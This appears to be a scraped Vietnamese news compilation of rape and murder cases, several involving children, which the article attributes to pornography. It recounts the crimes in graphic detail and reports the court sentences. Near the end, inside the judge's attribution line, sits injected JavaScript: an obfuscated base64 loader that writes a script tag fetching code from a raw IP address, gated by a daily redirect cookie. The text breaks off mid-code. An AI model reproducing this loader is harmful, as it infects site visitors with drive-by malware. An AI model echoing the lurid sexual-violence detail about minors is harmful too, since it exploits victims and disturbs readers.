Mê phim ‘người lớn’, thiếu niên 15 tuổi sát hại rồi h iếp d âm chị thu mua đồng nát

Dương Văn Khánh, 15 tuổi quê ở xã Trung Hưng, huyện Yên Mỹ, tỉnh Hưng Yên là hung thủ gây tội ác ghê rợn trong vụ án giết người, hiếp dâm này khiến dư luận bàng hoàng vào cuối tháng 10/2007.

Dương Văn Khánh tại cơ quan công an
Cụ thể, chiều ngày 26/10/2007, Khánh và em trai là Dương Hồng Sơn đang ở nhà thì chị Vũ Thị Lụa đến mua phế liệu. Tại đây, Khánh đuổi em trai đi hái rau, còn hắn thì dụ chị Lụa vào nhà với lời hứa sẽ có đồng nát cho chị mua.

Cuộc mua bán diễn ra trong sự giằng co, ngã giá giữa một đứa trẻ và chị mua đồng nát. Khánh vội giằng lấy chiếc cân để cân lại, vì cho rằng chị Lụa cân không chính xác.

Trong lúc đang cãi cọ vì cho rằng chị Lụa cân không chính xác, chị Lụa không may bị quả cân văng vào đầu và bất tỉnh. Khánh hoảng sợ dùng tay kéo nạn nhân ra phía vườn. Trong lúc xốc nách chị đồng nát kéo đi, hắn nhìn thấy những đường cong trên cơ thể người phụ nữ, cũng như những gì cậu được thấy trong những cuốn phim “đen”. Dục vọng nổi lên, Khánh lôi chị Lụa ra gốc cây sau vườn và thực hiện hành vi giao cấu khi nạn nhân vẫn còn bất tỉnh. Khi đã thỏa mãn thú tính, không thấy chị Lụa tỉnh lại, nghĩ rằng chị chết, Khánh nghĩ ngay đến việc giấu đi cái xác.

Tội ác của Khánh chỉ bị phát hiện cho đến khi cơ quan điều tra tiến hành giám định dịch trong cơ thể nạn nhân. Kết quả phân tích AND đã vạch trần tội ác của cậu trai tuổi mới lớn.

Nửa năm sau khi bị bắt giam, Khánh được đưa ra truy tố về hai tội “Giết người” và “Hiếp dâm”. Tuy nhiên, tại thời điểm gây án, Khánh mới vừa tròn 15 tuổi nên VKSND tỉnh Hưng Yên rút một phần nội dung truy tố về tội “Hiếp dâm”. Theo đó, với hành vi Giết người, Khánh phải nhận mức án 9 năm tù giam.

Nam sinh lớp 12 do xem nhiều phim khiêu dâm, giết, hiếp dâm bé gái 10 tuổi hàng xóm

Ngày 2/8, tại xã Trà Côn (huyện Trà Ôn, Vĩnh Long), TAND tỉnh Vĩnh Long mở phiên toà sơ thẩm xét xử vụ án “Giết người và Hiếp dâm trẻ em”.

Bị cáo tại phiên toà.
Theo cáo trạng, Lên bị kích thích từ việc xem phim đồi truỵ nên nảy sinh ý định hiếp dâm bé gái 10 tuổi, ngụ cùng huyện. Chiều 17/2, Lên biết nạn nhân đi học về ngang qua đoạn đường vắng tại xã Vĩnh Xuân nên ngồi chờ.

Khi thấy nạn nhân, Lên kêu vào nói chuyện. Bé gái không vào thì Lên ra bế vào vườn măng cụt, bóp cổ nạn tử vong rồi thực hiện việc giao cấu ngay cả khi nạn nhân đã tắt thở.

Sau đó, Lên kéo nạn nhân xuống mương nước dùng chân giậm lên người lún xuống bùn để phi tang. Gây án xong, Lên về nhà nằm ngủ đến tối thì bị cơ quan điều tra bắt khẩn cấp.

Tại cơ quan công an, Lên khai nhận toàn bộ hành vi của mình và thừa nhận đã nhiều lần ngồi rình nạn nhân đi học về để thực hiện việc hiếp dâm. Thủ phạm bị tòa tuyên án 30 năm tù giam.

Ép bà lão 63 tuổi ra đồng, bắt diễn “cảnh nóng” như trong phim

Giữa tháng 2/2012, báo chí xôn xao đưa tin về kỳ án gã trai làm nhục bà lão cả đêm nơi đồng vắng. Bị ám ảnh bởi cảnh tượng kích dục trong những bộ phim “con heo” vẫn lén lút xem trong các quán cà phê “bẩn”, đối tượng Phùng Minh Lộc (SN 1984, ngụ ấp Thạnh Lợi, xã Tân Phú Thạnh, huyện Châu Thành A, tỉnh Hậu Giang) đã gây nên một tội ác “động trời” thuộc loại hi hữu nhất Việt Nam: “Bắt cóc” bà lão 63 tuổi ra giữa cánh đồng cả đêm, ép làm “diễn viên phim đen” cho mình thỏa mãn nhu cầu sinh lý đê hèn.

Chân dung kẻ hiếp dâm bệnh hoạn Phùng Minh Lộc
Lộc đã bắt nạn nhân để hắn thực hiện những “tư thế” quan hệ quái đản, chỉ xuất hiện trong những bộ phim “đen” mà hắn đã xem. Bà lão bị gã trai 8X hiếp dâm nhiều giờ đồng hồ liên tục, chỉ đến khi kiệt sức ngất đi, hắn mới chịu dừng lại.

Lợi dụng lúc kẻ cuồng dâm bỏ đi, bà vơ vội quần áo rồi trốn xuống một mương nước cạnh đó. Sau khi thoát khỏi Lộc, bà chạy đi kêu cứu và được người dân giúp đỡ.

Tại phiên tòa xét xử, bị cáo Lộc đã nhận mức án 36 tháng tù về tội cướp tài sản và tội hiếp dâm, phải bồi thường danh dự, nhân phẩm cho bà cụ 63 tuổi tương đương 10 tháng lương tối thiểu (5,4 triệu đồng).

Dụ xem phim sex, hại đời cả hai bé gái

Ngày 30/6/2012, Đặng Hữu Phú (SN 1968, quê ở TP Huế) rủ hai bé gái là N.T.D (SN 2005) và P.T.K (SN 2002) đến chỗ trọ của hắn ở xã Hòa Nhơn, huyện Hòa Vang, TP Đà Nẵng chơi.

Khi 2 bé gái có mặt, Phú đóng cửa phòng rồi lấy điện thoại di động và mở bộ phim có nội dung đồi trụy cho D. và K. xem. Sau đó, Phú lần lượt giở trò đối bại với cả hai bé gái. Thực hiện xong hành vi, Phú cho mỗi cháu 5 ngàn đồng và dặn không được cho ai biết.

Đặng Hữu Phú trong phiên xử
Buổi tối cùng ngày, mẹ của D. thấy con gái có những biểu hiện khác thường nên đã gặng hỏi và D. đã kể lại toàn bộ sự việc. Mẹ của D. đã báo cho gia đình của K. biết và cùng nhau tố sự việc lên cơ quan công an.

Nhận được đơn tố giác, cơ quan công an đã bắt khẩn cấp Phú. Tại cơ quan điều tra, Phú thừa nhận hành vi cưỡng hiếp hai bé gái. Ngoài ra, hắn còn khai nhận thêm, vào giữa tháng 6, y đã hiếp dâm cháu K. một lần tại phòng trọ.

Ngày 20/12, TAND TP Đà Nẵng trong phiên xử sơ thẩm đã tuyên phạt bị cáo Phú 16 năm tù về tội hiếp dâm trẻ em, 1 năm tù về tội dâm ô đối với trẻ em, 3 năm tù về tội truyền bá văn hóa phẩm đồi trụy, tổng hình phạt là 20 năm tù.

Theo Viettinnhanh

Hành hạ hiếp dâm dã man 2 thiếu nữ, bắt các nạn nhân tự quan hệ để… xem

Một mình bị cáo khống chế ba nạn nhân (có hai nữ) rồi lần lượt thực hiện chuỗi hành vi dã man là hiếp dâm, đánh đập…

Bản giám định tâm thần xác định Quang hoàn toàn bình thường, không có biểu hiện bệnh tâm thần.

Ngày 5/7, TAND tỉnh Bình Dương đã tuyên phạt bị cáo Lê Công Quang tám năm tù về tội hiếp dâm trẻ em, sáu năm tù về tội hiếp dâm, hai năm tù về tội bắt, giữ người trái pháp luật, hai năm tù về tội làm nhục người khác, tám năm tù về tội cướp tài sản, một năm tù về tội hủy hoại tài sản. Tổng cộng bị cáo lãnh 27 năm tù về sáu tội danh trên.
Công tố viên Nguyễn Ngọc Hoàng đã phải thốt lên: “Đây là vụ án khiến tôi cảm thấy day dứt, buồn vì nhân tính con người bị đánh mất. Ngay từ ngày đầu tiếp xúc vụ án, tôi đã không dám tin vào sự thật, nó quá tàn nhẫn… Tôi mong đây là lần đầu tiên và cũng là cuối cùng có một hành vi như thế này”.

Bị cáo Lê Công Quang tại phiên tòa phúc thẩm. Ảnh: DH

Bắt nạn nhân tự quan hệ

Theo hồ sơ, ngày 16/7/2010, sau khi nhậu và hát karaoke, Quang chạy xe về nhà thì nhìn thấy chị L. (18 tuổi), cháu H. (15 tuổi) và anh T. (18 tuổi) đang chờ đón xe về quê. Cho rằng anh T. nhìn đểu mình, Quang dừng xe và xông đến đánh anh tới tấp. Sau đó, Quang dùng sợi dây xích sắt giấu ở xe ra đe dọa, khống chế ép ba người lên xe chở tới khu vực sát bệnh viện ô tô (thuộc Khu công nghiệp Sóng Thần, Dĩ An, Bình Dương).

Tại đây, Quang ép ba nạn nhân cởi hết áo quần và nằm úp xuống sàn. Quang lần lượt quan hệ tình dục với hai nạn nhân nữ là chị L. và cháu H. Khi nạn nhân la hét, Quang đánh vào mặt và đe dọa: “Nằm yên, không tao giết chết tụi mày”.

Chưa thỏa mãn thú tính, Quang yêu cầu anh T. quan hệ với cháu H. cho mình xem.
Sau đó, Quang trói tay ba nạn nhân lên cao và dùng dây xích đánh vào người và bộ phận sinh dục. Tiếp đó, Quang bắt cháu H. phải ăn điếu thuốc lá đang hút dở mặc cho nạn nhân khóc lóc, van xin. Đồng thời, Quang buộc nạn nhân phải tự mình bật quẹt đốt bộ phận sinh dục.
Dã man hơn, Quang còn dùng dây xích dài nhét vào bộ phận sinh dục của hai nạn nhân nữ. Đến khi thấy nạn nhân la hét đau đớn, Quang mới chịu dừng lại.
Thấy ba người nằm gục xuống sàn, Quang buộc họ phải giao hết tài sản gồm hai chiếc điện thoại di động và hơn 900.000 đồng. Tiếp đó, Quang châm lửa đốt hết toàn bộ áo quần của nạn nhân. Quang bắt ba nạn nhân trong tình trạng trần truồng xếp hàng chạy vòng quanh khu vực bệnh viện ô tô. Khi ba nạn nhân chạy ra bên ngoài, Quang lên xe tẩu thoát cùng số tài sản cướp được…

Hành vi tàn nhẫn, trái đạo lý

Tại tòa, Quang thừa nhận mọi hành vi phạm tội của mình và tỏ ra ăn năn hối cải. Bị cáo nhận thấy bản án cấp sơ thẩm tuyên phạt là đúng tội. Tuy nhiên, bị cáo xin tòa xét đến hoàn cảnh gia đình khó khăn, cha mẹ là người có công, bị cáo đã thành khẩn khai báo mà giảm án.

Quang khai do hận người tình (vốn đã chung sống như vợ chồng với bị cáo một thời gian dài) bỏ đi với người khác nên nảy sinh ý định trả thù đời. Thêm nữa, khi thực hiện hành vi phạm tội, Quang uống rượu say, không kiểm soát được hành động của mình.

Công tố viên cho rằng bị cáo không thể viện lý do say rượu để giải thích cho những hành động mất nhân tính của mình.

Trong phần xét hỏi, khi HĐXX hỏi tình trạng sức khỏe, Quang khẳng định không bị bệnh gì. Bản giám định tâm thần cũng xác định Quang hoàn toàn bình thường, không có biểu hiện bệnh tâm thần.Luật sư bào chữa cho bị cáo cho rằng mức hình phạt và tội danh của bị cáo là hết sức rõ ràng và đúng. Tuy nhiên, luật sư xin tòa cứu xét giảm án dựa trên những tình tiết bị cáo vừa nêu. Mặt khác, dù giám định tâm thần cho thấy bị cáo hoàn toàn bình thường nhưng có thể bị cáo bị một bệnh lý gì đó về tâm lý mà chưa tìm ra được. Bởi lẽ chuỗi hành vi của bị cáo khó mà tin được, bản thân bị cáo cũng không thể lý giải được tại sao mình lại hành động như vậy.

Sau khi nghị án, HĐXX nhận định những lập luận của bị cáo và luật sư không có cơ sở chấp nhận. Kết luận giám định cho thấy bị cáo không hề có vấn đề gì. Trước tòa, bị cáo cũng hoàn toàn tỉnh táo nên phải chịu trách nhiệm với những gì mình gây ra.

Xét hành vi của bị cáo là hết sức tàn nhẫn, trái pháp luật, trái với đạo lý. Bị cáo đã dùng vũ lực và hung khí nguy hiểm (sợi xích) để khống chế, uy hiếp và thực hiện tiếp chuỗi hành vi trái pháp luật cấu thành từng tội riêng lẻ là hiếp dâm trẻ em (với cháu H.), hiếp dâm (với chị L.), làm nhục, hủy hoại tài sản, cướp tài sản… Tất cả tình tiết giảm nhẹ tòa cấp sơ thẩm đã xem xét nên những tình tiết bị cáo nại ra không mới. Tòa quyết định tuyên y án sơ thẩm của TAND thị xã Dĩ An…

Hành vi của con tôi khó mà tha thứ được

Tham dự và qua diễn biến phiên tòa, có mơ tôi cũng không dám tin con trai tôi lại hành động như vậy. Nó đã thực hiện hàng loạt hành vi khiến tôi nhói lòng. Là mẹ nhưng tôi cũng là một phụ nữ nên tôi thấy hành vi của con trai tôi là khó dung tha. Qua đây tôi xin chân thành gửi lời xin lỗi tới phía gia đình người bị hại.

Mẹ của bị cáo Lê CôngQuang

Tòa tuyên hình phạt thích đáng

Đã 25 năm trong nghề, xét xử nhiều vụ án man rợ nhưng đây là lần đầu tiên tôi thấy một vụ án có chuỗi hành vi ghê gớm như thế này. Tuy nhiên, xét nhiều tình tiết về nhân thân, hoàn cảnh gia đình… nên tất cả tội danh tòa đều xử ở mức khởi điểm của khung hình phạt. Theo tôi, đây là mức hình phạt thích đáng cho bị cáo.

Thẩm phánLÊ HOÀNG VƯƠNG,Chánh tòa Hình sự TAND tỉnh Bình Dương, thẩm phán trong vụ án #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.